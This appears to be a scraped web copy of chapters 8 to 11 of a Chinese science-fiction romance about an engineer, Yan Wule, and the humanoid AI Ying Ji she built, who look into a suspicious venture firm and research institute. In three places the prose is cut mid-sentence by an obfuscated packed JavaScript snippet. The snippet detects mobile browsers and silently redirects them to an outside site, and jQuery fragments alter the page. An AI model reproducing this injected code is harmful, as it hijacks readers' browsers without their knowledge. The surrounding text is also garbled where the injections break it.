“但你允许了我这些权限,”应霁眨了眨眼,又露出了那副未经人类社会毒打的坦然神态,“而且,你刚还说我是完全自由的。” 燕无乐:“……” 人类好复杂。应霁轻声感叹道。 燕无乐捏了捏眉头,才忍住转身离去的冲动,“既然你已经看过齐知洲的身份资料了,还有什么好奇的?” 应霁学着她的样子,背靠转椅在地面滑了两步,然后又定定地停在办公桌前。他说,明知故问。 ……你们人工智能的表达方式也不简单。 没什么好隐瞒的,燕无乐决定全盘托出:“简单来说,你身上的外形数据来源于他的生物基因,比如五官、躯干和皮肤。” 这些决定自然人身份特征的数据,大约百分之九十五来自齐知洲。 应霁对此表示知情,但旋即话锋一转:“合法公民、军方人士、生物数据……你的行为至少涉嫌违反了十八页关于科技产品和人权保障的法条。” 这是不争的事实,燕无乐无可辩驳,“是我一时冲动,不过他长得确实不赖,你用他的脸也不亏,不是吗?” 她环臂坐着,而应霁静静地看着她紧抿的嘴唇。两人之间隔着一张偌大的办公桌,像一堵空气墙。 他忽然想,自己身为机器,有时也不需要那么人性化。 于是应霁平静地戳破了她: “他死了,而你喜欢他,是吗?” 他的感官系统和分析程序此刻像是失灵了一般,全然不顾燕无乐胳膊上越掐越紧的指甲。 “——我说得对吗?” 体内数台微型量子计算机高速运转,悄无声息地发出警告,一切估测结果都表明,燕无乐随时会给他一巴掌。 被那样的机械臂全力抽一下,恐怕半边脸都得返厂维修。 “到不了‘喜欢’的程度。” 燕无乐忽然泄气般松了手。 “你猜对了一半,”她淡淡道,“一开始只是机缘巧合下的相遇,后来辗转反侧,发现实在难忘,然后想办法骗到了联系方式。” 里面充斥着吊桥效应、见色起意、口是心非,以及另一方的毫不知情。 “后来就是你知道的那样,军方的星际任务发生意外,他所在的特战小组全军覆没。” 她遗憾地叹了口气:“我们甚至没说过几句话。” 话毕,燕无乐走到落地窗前。天色深蓝,晚霞余韵已散,视线的尽头有快速穿行的光点,那是数以千计的飞行器,它们宛如繁星汇聚成的银河,正沿着空轨徐徐流动。 心事被翻开,尴尬和难堪过后只剩惆怅,她的指甲无意识地划过玻璃,无痕也无声。 背后传来窸窸窣窣的脚步声,肩头一重,但下一秒燕无乐头也不回就撇开了应霁安慰意味的手。 “谢谢,但不需要。”她冷道,世事难料,无论同情还是怜悯她都不想要。 身后人却执拗地又拍了拍她: “我是想问,咱们可以下班了吗?” “……?”燕无乐顿时怅然全无。 “私人秘书要二十四小时oncall,没有加班一说,自然也没有下班的概念。” 话虽这么说,但她还是抓起外套,登上了应霁已调出的、通往停机坪的天梯。 仪表盘上的目的地显示为岚水,她没好气地出声提醒,此刻主城航线正逢晚高峰,出城路堵得水泄不通。 “在哪都是面对我。所以你急什么?” 然而应霁精密的自适应程序却像出bug了一般,虽然为她调控安全座椅的行为依旧体贴,但回岚水的态度不容左右。 他选择手动驾驶,飞行器平稳升空后驶向了一条更远的旧航线,以避开繁忙的主航线。 急剧上升的加速度让燕无乐被牢牢粘在座椅靠背上,老旧航线也无美景可言。 从容是她一贯的装饰,而这才一天就被身旁的罪魁祸首丢到了九霄云外。 这就是让他人介入个人生活、俗称“恋爱”的体验吗? 燕无乐深吸一口气,又重复了一遍:“你急什么?” “啊,不好意思,”此刻应霁才像听到她说话般,表情无辜,“我必须要在一个小时内到岚水——” “首次启动,耗电太快了。” 他补充道:“要不在飞行器上也安装个充能接口吧,就当是为了我?” 燕无乐的后槽牙正隐隐作痛:“……知道了。” * 岚水的夜静谧而辽阔,燕无乐是行动派,在飞行器落地前就调配出了家中备用的特制充能桩。 很快,形如飞鱼的机身显现出粼粼白光。别墅顶部的私家停机坪上,两只半人高的机械螃蟹正托举着她要的材料,步履滑稽地追着飞行器跑。 燕无乐顺手扶了下应霁,防止他被机械螃蟹当做金属材料抓住扛走。 这还是这座房子内的智械们第一次会面。 燕无乐录入应霁的身份,两只螃蟹立刻同步更新。它们面面相觑了一阵,随后神似双眼的信号收发器晃了晃,放下充能材料后迅速逃走。 燕无乐也不在意,捞起脚边的材料就想回机舱内。应霁收回视线,一同跟了上去:“需要帮忙吗?” “那你给我递工具吧。”她也不客气,机舱墙壁应声推出一个工具箱,正好停在他脚下。 之后的一个多小时内,除了偶尔蹦出的零星名词,燕无乐没说任何多余的话。 充能桩需要接入飞行器的动力源,不算小工程。眼见燕无乐把整个机舱地板掀开大半,应霁的落脚地也越来越狭窄。 薄汗打湿了她的额前碎发,在闷热无风的岚水夏末,舱内只有机械螃蟹送来的小风扇带来凉意。 而她依旧专注在接线、调整、测试的动作中,无数胶线如雨后蚯蚓般冒了头,又缠绕在她两只颜色不同的手中,最后再埋进平整的甲板。 燕无乐面无表情地接过螺丝刀,单膝跪地,拧紧了舱内壁板上最后一颗螺丝。 除了多了个碗口粗的升降接口外,整个飞行器看不出变化,只有目睹全过程的应霁知道,这微创背后是飞行器整个供能线路的脱胎换骨。 “也许不太好看,”燕无乐直起身子,手中多了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16317710|183094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 根白色胶线,“有线就像打点滴,但充能效率比无线装置更高。” “注意别让其他人看见。”她冷漠地补充道。 应霁接来一试,很快,一股暖流就从腰腹接口处缓缓蔓延,四肢和五官的感应器重新活跃起来,连带着体内计算机也快了不少。 他感到一阵耳清目明,像大梦初醒,燕无乐颇不明朗的神情终于被他扫描进了分析程序中。 一只机械螃蟹颠颠地奔跑而来,左右双钳各举着一罐啤酒,她不说话,眼神示意他一起坐下。 应霁取下钳内的易拉罐,“嘭”地一声,泡沫涌出,他们也被托举到了飞行器顶部。 他啜了一小口,冰镇过的麦芽酒液在口腔内化开,又被模拟味觉的密布式感应器吸取。 “心情不好?”他问。 燕无乐也不遮遮掩掩,点了点头:“你跟我想象中不同。不,其实很多事情都超出了我的预料。” “我不知道自己的选择是否明智。” 她的语气冷静又淡漠,明明关乎前途命运,态度却如同视线般投往辽远星空,丝毫没有回应应霁注视的欲望。 辛辣的刺激在口腔感应器间炸开,他感到体内的计算卡顿了一瞬,但随后是更高速的运转,一些话就这样脱口而出。 “没关系。按照莫狄的消息记录,你大概率是将我作为齐知洲的替身来迷恋,因此,自适应程序也给了我「男友」的定位。” “但你不像训练数据库内反馈出的女友形象。我很困惑,我们的相处完全不符合根据统计结果设计的恋爱模型,我不知如何面对你。” 啤酒顺着喉管流入仿真胃袋,人形智械没有消化系统,但应霁还是和燕无乐碰了杯。 “人类个体间本就千差万别,统计数据只能反映整体水平,代表不了什么。” “所以不要带着预设来看待我,”她将啤酒一饮而尽,“自己学着感受。” 远方山脉后露出主城区的点点灯火,如同金銮的余晖,燕无乐恍惚中想,自己的本家正藏于其中。 接下来要做什么?找机会将应霁介绍给父母吗?他的学习能力很强,表现定能博得满意,紧接着,那些传统流程将被提上日程,张灯结彩,水到渠成。 困扰自己的事情似乎就这样解决了? 但心中这股隐隐的不甘又如何解释呢。 水珠从酒罐中沁出,顺着应霁掌心滑下,他已经掌握了酒液的味觉数据,剩下的大半罐对他而言都是废料。 这就是人类和智械之间的差异。 液体滴滴答答汇成水流,打湿他半个手掌。燕无乐想要接过,机械手指就这样猝不及防地撞上他的手,那由培养皿中生长出的皮肤更加柔软,令她一愣。 他顺势虚扣住她的手,无任何装饰的金属指节沾染了啤酒罐的冷意,如同冰块,随着内置处理器的升温而慢慢融化。 二人的肩就这样靠在一起,应霁低头看向交叠的手,虽然外表不同,但它们内部都是逻辑相似的元件。 “或许我们也有共同之处。”他平静地说,“我会剔除对你的行为预设,与此同时,我也需要更多时间重建你的画像。” 燕无乐终于抬起头。半晌,她松了口气,语调重新快了起来:“……在人类社会中,这叫‘先了解彼此’,算是步入感情生活的缓冲地带。” “你说得对——” 何必着急呢? 后半句话被晚风卷了去,谁都没听清。 9. chapter 9 人可以了解,感情可以培养,恋爱拆解到最后就是一团有关费洛蒙和多巴胺的激素。 燕无乐盯着卧室漆黑的天花板,脑海中反复弹出如此论调。 虽这样想,刚才从露台停机坪下来后,燕无乐还是打消了把“衣橱”挪去别墅客房的念头——于是应霁理所应当地再次躺在了她身边。 一米八的大床宽敞,二人之间像隔着一堵空气墙,井水不犯河水。 飞行器上安装的不过是临时充电装置,真正稳定的充能源依旧藏于别墅地库,只要位于室内,便能为智械供能。 此刻,他正阖着双眼,神情比她安详得多。 燕无乐听着细小的“嗡嗡”电流声,真希望自己也能被这样充电。 然而人类终究是人类,她辗转反侧睡意寥寥,只能调出莫狄白天发来的集团资料,试图用工作催生一些睡意。 「DM风投公司创立于星历1599年,由多家金融投资公司联合而来,其历史最早可追溯至后地球时代……」 都是些耳熟能详的内容了,燕无乐边看边想。自从百年前DM风投将商业版图拓展到科技领域,科鸢集团就做足了背调。 过去几十年内DM做的大多是保守投资,只求当中间商赚差价,不求科鸢分一杯羹。 但今非昔比,近几年来DM多次迭代后又开始快速扩张。这在开发程度已趋于九成的金銮城内算奇闻异事。 颇有破釜沉舟的勇气。 她检索了近十年的行业报表,发现DM风投有两年的营收情况不佳。工作经验告诉她,这个数字甚至只代表公司在维持收支平衡。 但这说不通。 燕无乐眉头越皱越紧,那座难以忘却的黑金大厦好像还历历在目——她分明记得,DM风投那几个月还在与科鸢同场竞投,那气势,怎么看都不像这样的财务情况。 文档戛然而止,再想抽丝剥茧就需要技术支持了。 她偏头看了看身旁的应霁,犹豫了片刻,还是打消了叫醒他的冲动。 又不是真秘书,她想。于是预定了第二天一早去科鸢总部的行程。 * 莫狄深吸一口气,心道燕总最近回主城坐班的次数变多,自己的压力也有点水涨船高。 此刻燕无乐正戴着全息眼镜躺在办公椅,不知道是在看他刚传送的文件还是什么娱乐内容。 他又瞟了眼房间另一角,某人在此衬托下显得有些无所事事。 莫狄试探性地叫住应霁: “哎,应先生?最近总往主城跑的话,不知道有没有去过咱燕总家的老宅?有时本家的事宜会直接通知到助理。” 流水的男人,铁打的燕总。莫狄想,假如燕无乐不愿意公布关系,那他就不把换秘书一事知会燕氏本家了。 “本家?”应霁一愣,“本家的消息会和公司有关吗?” 莫狄尴尬一笑:“基本上无关。但私人秘书嘛,订餐开飞船安排聚会之类的事也少不了,免不了和那边打交道。不过这些我说的不算。” 应霁又露出了那副貌似在听、实则不懂的表情。 怎么这么听不懂暗示呢?莫狄索性直言:“如果燕总不愿意,你就不要在本家抛头露面了。” 这才换来了他的恍然大悟,然而下一秒,莫狄就看着他径直走向燕无乐。 他伸手关闭了她的全息眼镜,然后在自己的倒抽冷气声和燕无乐错愕的目光中,应霁面容温和地投下一雷: “莫哥让我确认一下,我可以负责处理来自您本家的消息吗?” 空气一瞬凝固。 燕无乐:“……?” 她扭头看莫狄也只得到了个疯狂摇头否认的虚影。 “什么意思?” “莫哥说,如果您不愿意,我应该避免出现在您的本家。” 莫狄惨然一笑,这下连辞呈都想好了。 燕无乐耐人寻味地瞟了眼话中人,又靠回椅背,“本家的消息翻来覆去就那么些,谁来处理都一样。” “新人嘛,有的话可以直接说,效率至上。”她拢了把长发,“拿不准的直接来问我。” 莫狄点头答应一气呵成,很快就被新工作支走了。 办公室内又只剩下他们二人,应霁望着被恭敬阖起的雕花实木门,轻声重复了遍“新人”。 作为人而言,是挺新的。 莫狄get不到的双关,就这样被燕无乐当冷笑话讲完了,面对不妥的揣测她也只是撂了句“聪明反被聪明误”。 她收好全息眼镜,又对他说:“但莫狄的思维方式也不全是坏事,这种未雨绸缪的心态可以避免很多突发状况,我也很欣赏。” “喏。”燕无乐下巴一抬,那份莫狄早上送来的资料就被投影在办公室内的巨幕光屏中。 “我之前说DM风投的营收状况很奇怪,他这就搞到了内情。” 这次没有莫狄讲解,他们各立一隅,就这样静静地浏览着滚动的页面,在人类肉眼看不见的地方,一些关键数字正被标红、提取,重新整合后形成最终结论。 在应霁得出报告时,燕无乐也抛出一份批注版本,圈点勾画后直指同样的数字—— 如果DM风投近年来的收支情况属实,那么真正造成亏空的是投资方面。 燕无乐指向截取出的几个片段,一个巨额数字下是熟悉的名称。 “阿芙洛狄研究院,”她呼出一口气,“程远章先接受了它的资助,之后才平步青云当上院长。” “DM豢养了不少这样的机构,看来‘阿芙洛狄’是其中专做科研、并与各大高校合作的代表。” 应霁同步信息后道:“但这个研究院似乎没有具体成果?” 他一边说一边飞速检索着相关论文期刊和市场产品,然而一无所获,似乎这个研究院内养着的不止页面上白发苍苍的几位科员,还有什么吞金兽。 一条隐形的线将投资巨头DM、阿芙洛狄研究院与程远章连在一起。宛如河流的上下游,虽然DM是毋庸置疑的发源地,但发展到金銮大学的程院长,就已经不知是多少个入海口之一。 中间或许有支流汇合、断流干涸,其间的弯弯绕绕尚不明朗。 之后呢?燕无乐忽然惊觉,曾身为程远章学生的经历,以及如今坐在科鸢总裁办公室的自己,作为两点之外的第三点,在时空的折叠下构建出了一个立体坐标。 “可能是冲着你和科鸢来的。”应霁也敏锐地察觉到了这点。 是什么能让DM风投铤而走险,用这样不留后路的方式进行布局? 燕无乐的心沉了一半。 科鸢集团是家族几代人的心血,潮涨潮落,无论经济蓬勃还是衰退,它都随着金銮星系的建设而一路成长,创造了百万民众的生活刚需。 回溯更遥远的历史,早在地球时代科鸢就历尽大浪淘沙,直至见证人造太阳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16317711|183094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的诞生。 而DM作为金融财团,即使吞并了科鸢,它也没有能力接管所有的产业线。到那时,燕无乐或许还是执行总裁,只不过头顶多了座隐形的大山。 但戴着镣铐起舞,又怎会自在呢? 她不想葬送前人心血,自己又沦为傀儡。 “这样以科研为名的投资还不少呢。” 应霁感受不到她心中的波动,而是顺藤摸瓜查到了一些相似机构,和阿芙洛狄研究院一样,它们也接受了DM的资金,但没有太多与之匹配的项目产出。 应霁轻拍了下燕无乐的肩膀:“我不是这方面的专才,要不你来看看?” 她接来一看,一些论文链接已被摘了出来,数量不多,但都挺传统。 “怎么还有做基础研究的?” 燕无乐不敢置信地又翻了几页。 基础研究因为耗时巨大、与产业较为脱节,通常只有拿着星系补助的高校才做,而不是这些更具商业气质的研究所。 又不赚钱,DM投资它们干什么? 她又仔细浏览了一遍应霁检索出的目录,又从中挑出了几个独特的应用型研究。 应霁顺着她的目光,也觉察了端倪,“很大胆嘛,还用上了脑机实验,实验体还打了个擦边。” 在燕无乐不解的视线下,那串生物代号被他解码,一块拳头大的脑组织就这样血红地浮现在她面前,以全息投影的模式展现了脑机实验的全过程。 血色满目,她皱着眉后退了一步,虽然看出了这大小是猴脑,但黏糊糊的粉色胶质还是让她感到不适—— 更何况上面还交错着一大堆五彩斑斓的导管与金属片,覆盖着AI生成画面里特有的滑腻光泽。 “……通过刺激相关组织神经及监视大脑皮层反应,获取实验猴在特定行为下所获得的快感数据,进而模拟人类在性……” 燕无乐没继续读,她瞥了眼应霁,“你这演示画面还是保守了。” 但不可否认的是,这项研究是有商业价值的。 “金銮星系的文明高度发达,法律明确禁止自然人以自身躯体从事情色产业,但人形智械不在规定范围内。” 应霁体会到了她的意思:“食色性也。这样的功能附加到相关人形产品上,虽然是灰色地带,但确实有市场。” 燕无乐却有种一拳打在棉花上的迷茫感。按照DM风投的营收,投资这样的小项目不见得是为了获利。 她顺手把这份报告转发给了科鸢的市场部门,让其评估一下背后具体的商业价值。 海量数据此刻断线,燕无乐划拉着光屏,不死心地又回到阿芙洛狄研究院的页面,“什么成果都没有,那这个研究院在做什么?” 应霁把一堆形式工整的会议照片弹到她面前。 “简而言之,校企合作。” 不止金銮大学,几乎星系内所有有头有脸的高校它都有所涉足。 “他们还不远万里地跑到了星系中的卫星城,资料显示,这是所做反重力研究很强的学校。” 应霁指着其中一张照片,上面二人的领带扭曲漂浮,手中的证书也泛着坚硬的金属质感。 没有产出,但热衷于结交高校……当前得到的线索通向此处。但是,怎样才能在不打草惊蛇的同时,接触到金銮大学呢? 燕无乐忽然灵光一闪: “等一下,程远章的关门大弟子好像要毕业了?” 10. chapter 10 “你打算给他个offer,让他变成科鸢内部人员吗?” 那次偶遇在应霁被唤醒之前,除了一份刚调出的学籍资料外,应霁对燕无乐返校当天的所见所闻一无所知。 “艾瑞克·斯多罗金,就读于金銮大学人工智能学院,博士研究生,导师程远章,主攻的方向是……自适应程序开发与应用。” 这不自然的停顿,让他一瞬间像极了人类。燕无乐坦然地观察着应霁的反应,自适应程序是构成他的核心,如同大脑之于人类。 相同逻辑的自适应程序如何理解这里的本源呢。 燕无乐唯一能确定的是,应霁那被她调整过的情感阈值,不会让他的处理器毫无波澜。他会有什么感受,无谓、恍惚、还是震悚? 但不管是什么,燕无乐都乐意一见。 他问:“……你曾经也主攻这个吗?” “是的,”燕无乐声音很轻,但不容置疑,“可以说它是创造你的基础。” 应霁沉默了。 他的眼睛眨了眨,其间的微型镜头却没有对焦,迷茫地投向前方。 几个不成形的词语似乎要从他口中蹦出,没有声音,但足以辨认。“附庸”“从属”……都是燕无乐预料内的答案。 然而他很快闭上嘴,紧接着行动恢复流畅,仿佛只是错觉。 “我们继续聊艾瑞克吧。” 而燕无乐不打算就这样放过他。 她松开环着的手臂,机械掌心悄无声息地切换成了测量模式,然后自然地抚上他的额头。 “你有点烫,刚才是处理器过载了吗?” 应霁迟疑片刻,由于过热,他的声音断断续续,时不时漏出起伏不一的机械声,略显诡异: “头一次,我忽然生成了一个无法回答的问题,它关于我的诞生与存在。” “你说我是独立的个体,然而我的核心却是人为的,我的诞生也源于你的个人意志。”他顿了一下,“如果说我的独立行动是因为你的准许,那你口中的、之于我的自由又是什么?” ——燕无乐怔在原地。 一番话的时间里,她掌心测出的温度数值已下降,她自己却感到一阵燥热。 这段剖析如剑贯心。抛出疑问的人此刻恢复平常,燕无乐有种搬起石头砸自己脚的感觉。 眼前凉爽敞亮的办公室模糊远去,恍惚中,燕无乐好像又回到了几年前那个阳光微燥的会议厅。 金銮大学学风严谨,汇报场所装潢简约,满目的灰蓝色调下是呈U字型围坐的教授们。 她站在众人面前,机械右手发出咔哒声响,下一秒,掌心的光屏控制笔就因用力过猛而掉落在地,碎成两截。 身侧的巨幕光屏因此闪烁了一下,无论燕无乐怎么调整,画面还是纹丝不动。 台下的教授们无奈地对视了一眼,随后叫停汇报。 彼时的程远章身着针织毛衫,略显起球的前胸面料上光秃秃的,和桌角的纸质名牌一样单薄。 他对同事歉意一笑,随后,燕无乐看着他眼角层层细纹再次舒展,对上了他责备又不耐的视线: “小燕啊,不是我说你,开题报告时还说得好好的,怎么中期汇报做成这样?” “自适应程序是很难做,但正因如此才有前景,也好投入应用——但你看看你现在的成果,和当初说的方向一致吗?” 薄汗沁湿脊背,周身冷意蔓延,卡顿的光屏不合时宜地滚动了起来,自顾自地展示完了她刚被全盘否定掉的心血。 程远章说得没错,进行自适应程序研究的机会难得,而她却将资源浪费在了最吃力不讨好的认知开发方面。纯烧钱。 他叹了口气,语气中难掩失望:“不管什么人工智能、智械、数字生命……称谓再怎么五花八门,机器也还是机器,是人类为了获得便利的工具!” “学院的资源也是有限的,你这些让程序进行道德判断之类的实验,不是当下真正该投入精力的事情。” 燕无乐站在原地,冷汗已被风干大半,潮热的感觉贴着衬衫游走,隐约瘙痒。她声音不大:“但我已经有了初步成果,即使贴钱,我也想把它做完……” 程远章不耐烦地摆了摆手,示意她不用再说了。其他教授见状也只得打个圆场,所言其他地夸了两句勤奋。 在他们说出“但是”前,燕无乐鞠了一躬,把汇报台让给了下一位博士生。 后来,燕无乐每每思考起换题之事,脑海中都不免浮现出这个被宣判流产的题目,再看其他项目都形同背叛,她很难再提起兴趣。 提交退学申请时,程远章叹了口气,恨铁不成钢地抛下一句“一意孤行是不会有好结果的”。 燕无乐回头望了眼实验室中忙碌的同门们,不置可否。 那个没来得及公布的初步成果是什么来着?走出学院大门时,阳光刺目,燕无乐眯起眼,恍然想起了某个深夜屏幕上生成的那句话—— 「你创造了我,然后呢?」 初代程序还不能解析更复杂的词语,无论是令应霁困惑的附庸还是从属,对初代程序而言都还是另一个维度的内容。 但让燕无乐怔住的,正是这一句反问——一句由冰冷的程序本身,向有血有肉的人类的提问。 “……然后呢?” 燕无乐喃喃道。 屋内只有屏幕泛光。她猛地从椅子上站起,激动地徘徊了好几圈,程序的光标还停留在原处,一闪一闪,像是在等待答复。 但最终,燕无乐也没想好回复什么。 「很抱歉,我目前也不知道。」 最后,她谨慎地敲下这句话,一切戛然而止。 …… “无乐?”应霁低下头,伸出手在她眼前晃了晃,燕无乐才大梦初醒般地应了一声。 她揉了揉眉头,发现它僵得有些难受:“……你刚说,你生成了一个问题,而且无法回答。” 应霁点点头,模拟出的表情里期待满满,“你沉思了很久,所以我猜你已经有了答案。” 燕无乐惨然一笑,索性把方才的回忆悉数讲给了他。 “程远章院长和我理念不同,金銮大学也不会再支持我继续原来的研究。” 道不同不相为谋,燕无乐把退学一事说得轻描淡写。 “然后你这个问题吧,”她顿了一下,“其实和初代程序的提问一样,我依旧没有答案。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16317712|183094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 见他有些茫然,燕无乐多了点耐心:“在人类社会,不是所有问题都有答案,也不是所有的问题都需要追求答案。” “但思考和提问仍然是有……价值的。” 她本想说“必要”,但突然又怕这在他的处理器中被判定为「自相矛盾」然后作废,于是改了口。 说到底,燕无乐希望这番话能变为构成他本身的一部分数据。 光屏一角的时钟滴答走着,文件页面也随着环境光线自动调低了亮度。由此,艾瑞克·斯多罗金的证件照像是蒙了一层雾,朦胧中不再醒目。 其下一行标粗黑字在对比中变得明显,是项目经历,字里行间都熟悉得灼眼。 ——正是她当初报给程远章的备选题目之一。 不过说放弃的也是自己,没什么好伤春悲秋的。于是燕无乐从容地把艾瑞克的资料发给莫狄,安排了一场私人面试。 目睹了全程的应霁:“所以你还是打算给他发个offer,然后收编他。” 燕无乐一边收拾文件一边白了他一眼,“offer?科鸢的offer哪那么容易拿,是师弟也不行。” 她露出一抹耐人寻味的笑: “你以为科鸢集团就没有外包的下游公司吗?” 一个小时后,燕无乐的飞行器内流淌着欢快小曲,在他们高速略过的密集城区内,一个头顶橙色爆炸卷的青年正在街边等快餐,直到裤兜里的通讯器诈尸般响起来电铃声—— 免提后,一道温润但圆滑的男声响起: “请问是艾瑞克先生吗?这里是雅木科技公司……” 在周围排队的众人闻声回头前,艾瑞克一把掐断免提,然后才不可置信地抓了抓自己的蓬松卷发,“啊?” 电话的另一头,莫狄的嘴角也勾了勾。 “考虑一下吗?我司待遇从优,有意向的话我可以为您安排面试。”他瞟了眼燕无乐的备注,刻意拉长语调,“我看——你是做自适应程序的?” 艾瑞克紧张地“嗯”了一声,短暂的沉默后,电话那头传来一声叹息,“专业很不错,就是不知道能不能应用到我们公司内……” 这个带着惋惜的语气他不陌生,早在读研和读博前就各听过无数回了。 面前的快餐店员连续叫了好几次号,艾瑞克才意识到是自己的餐。然而他此刻只来得及摆摆手,就又抓着头发望着鞋尖了—— 这次,不会再有象牙塔的庇佑了。 他吞了口唾沫,强壮镇定地打断了莫狄:“您好!关于这一点您不用担心,自适应程序只是我的博士论文方向,我基础很扎实,改方向的话也有足够强的学习能力,这一点您可以放心!” “真的,我可以做其他方向——我的简历还有项目经历,面试时我都带给您!” 艾瑞克挂断电话时,吧台的可乐纸杯下,水珠已汇成了一滩汪洋,他的后背也传来一片潮腻。 餐厅外灯红酒绿,他攥着的纸袋已经发瘪。在交替闪烁的信号灯下,车水马龙汇聚一簇,被喇叭和抱怨淹没。 同一时间,燕无乐的飞行器滑向岚水。落日在前,远山青黛,火红的晚霞迎面扑向她和应霁,好似永不沉眠。 11. chapter 11 正午时分,艾瑞克循着导航,在一丛矮灌木背后找到了刻有“雅木”二字的牌匾。 他吞了口唾沫,拨通了通话记录里的号码。 不到十分钟,莫狄就笑容满面地出现在了他眼前。 “艾瑞克先生,这边请。”他拉开那扇并不起眼的大门,一条笔直深幽的走廊出现。 一间间玻璃实验室内人员走动,对西装革履的莫狄熟视无睹。艾瑞克跟在他身后左顾右盼,逐渐从熟悉的仪表器械中找回了些自信。 二人走进会议室,莫狄也不卖关子:“这位姓应,应先生今天和我一起面试您。” 艾瑞克闻言立刻对他身旁的应霁点头致意。 他们相对而坐,银白桌上摊着艾瑞克递来的纸质简历,然而莫狄只是随意一瞥,就顺手推给了应霁。 他低头扫了一眼,也表现得兴致缺缺——和前一阵子自己查来发给燕无乐的内容没什么区别。 二人将视线重新聚焦到艾瑞克本身。 今天他穿着一件藏青色格子衫,内搭的白T领口微微泛黄,和衬衫一样经过多次水洗,轻飘飘的,毫无版型。 他一头浓密橘色卷发下架着个黑框眼镜,镜片后的鼻梁周围有点点雀斑,不多,但因为脸色苍白而尤为扎眼。 “读博这么辛苦啊,都不像简历照片上的年龄了。”莫狄笑笑,莫名多了分同情。 对此艾瑞克毫无察觉。他尴尬地直起身子:“哦,那个照片是P过的!” 莫狄微微一笑,觉得这愣头青般的面试似曾相识。 他上一个面试过的“愣头青一号”正坐在身旁,面无表情又目不转睛地望着艾瑞克。 看什么呢?他默默叹了口气,真不知道燕总派他来的理由。 殊不知远在科鸢顶楼的燕无乐把他这声叹息听得清清楚楚。 她办公室内的全息投影下正播放着应霁实时输送来的面试景象。他的每次眨眼都是一次信号更迭,漆黑瞳仁内有全星系最灵敏的微型镜头。 与此同时,应霁还能悄无声息地接收到燕无乐的远程指令,在莫狄和艾瑞克聊的如火如荼时,他们已经暗通款曲好几轮了。 「无乐:迂回一点,打探一下阿芙洛狄研究院和学院的关系。」 这行字忽然从体内浮现,熟悉的发号指令般的态度。他佯装疑惑,插入二人的对话:“你刚说,你在学校时是研究自适应程序的,期间和其他机构合作过吗?” 艾瑞克回想了一下,“有这样的项目,是一个小研究院发起的,学院牵了线,好像叫什么芙洛?时间有些久……” 应霁捕捉到了关键词,他单手托着下巴,身体略微前倾,乘胜追击:“那怎么不去那所呢?既然你们已经有了合作基础,想必你也更了解那边的业务。” 艾瑞克呼吸一滞,眼睛快速眨了眨。 他上钩了。应霁想。 果然,艾瑞克立刻摇头否认,“它是个初创公司!虽然看起来势头很猛、资金也很充裕,但是……” 他不安地抓了把头发,原本还算服帖的卷发已在面试中数次的折腾下变回了橙色棉花糖。 “但是……?”应霁很有耐心,放缓语速等他理顺思绪。 终于,在莫狄不解但知趣的缄口下,艾瑞克悻悻地缩回手,“怎么说呢……虽然我只参与程序的底层框架搭建,不清楚项目成品的具体用处,但做着做着总感觉很不安……” “就是、那种目的不纯的感觉!您懂吗?”艾瑞克又撸了把头发,发际线在越来越小的声音中昙花一现,“他们好像在做损耗类的实验,并且想添加自适应程序来提高效率和抗风险能力。” “自适应程序的适用范围很广,打个比方,一套完善的自适应程序套入战争模型,和一个训练有素的人类士兵无异。更何况,是士兵还是战车,全取决于与它配套的硬件设施。” 而算算性价比,程序可比活人划算多了。 “那个研究院的项目给我一种……想批量化生产一些能面对复杂环境,同时又不惧损耗的,呃、工具人?” 莫狄似懂非懂:“听上去还挺有赚头的,就是有触法风险。” 艾瑞克摇摇头,“一般程序做就做了,但自适应程序最大的问题是不可控,环境太复杂、触发因素太多很容易产生冲突行为。” “单独一个也就罢了,但他们想要的是一群!一群自适应程序个体彼此交互,那个影响完全不可控,就像指数爆炸!” 「无乐:那这群“工具人”具体做什么呢?」 沉寂已久的燕无乐发来消息,应霁替她问道。 “我只是做框架的,不太接触那些细节,”艾瑞克一顿,“只能确定是一些风险行业,什么能源开采、医疗实验——容易出事,但又是人类生存的刚需产业。” 燕无乐再无指示,莫狄也忽略了应霁的忽然提问与收敛,他点点头,耐心地听着艾瑞克从认真讲解变为碎碎念—— “而且!第一份工作是小公司的话,在简历上不好看……” 莫狄又流露出那种同为打工人的惺惺相惜。 应霁的视线在二人身上跳跃,话题被越扯越远,最终燕无乐一通电话打来,强硬结束了面试。 “面试结果会私讯给您。”莫狄胸口标着“雅木科技”的工牌晃了晃,他起身和艾瑞克握手。 目送乱糟糟的橘色棉花糖彻底消失在走廊尽头后,他才忍不住拉住应霁: “看得出来,读博使人发疯。” * 回程路上,莫狄趁身旁的应霁“睡着”,意犹未尽地又翻起艾瑞克的个人资料。 